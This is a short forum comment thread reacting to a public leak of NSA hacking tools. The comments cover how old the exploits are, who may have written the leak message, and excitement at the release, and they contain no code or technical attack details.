They "lost control" of mainly a bunch of old exploits whose release will not matter because anyone who is running this old junk won't be updating their servers because of this news.

znfi• 9 years ago

I have a bit of a hard time understanding why so many people think this is written by Russians. Obviously the grammar is not correct, but it would seem very strange to think this has any significance, and it seems more plausible that it was done in an attempt to hide the authors identity. (My spontaneous feeling was that it was written by Jar Jar Binks, and not Russians, for whatever that's worth.)

I'm not from the US and have not followed the news from there recently, but from what little I have seen much of the actual contents of the message does seem to reflect the feelings of Trumps "base"? Or would people more familiar with US politics say this is incorrect?

i336_• 9 years ago

Excuse me while I just...

ALLL RIIIIGHT!!

Not because I'm especially interested in the tools (although, granted, I have not had a look at any of them yet), but because I always wished this could be given to everyone.

Also, for a moment there, I was concerned 7z was insecure and that the passphrase had been bruteforced. Apparently not! Very nice.

Snowden: NSA just lost control of its Top Secret arsenal of digital weapons

Related Stories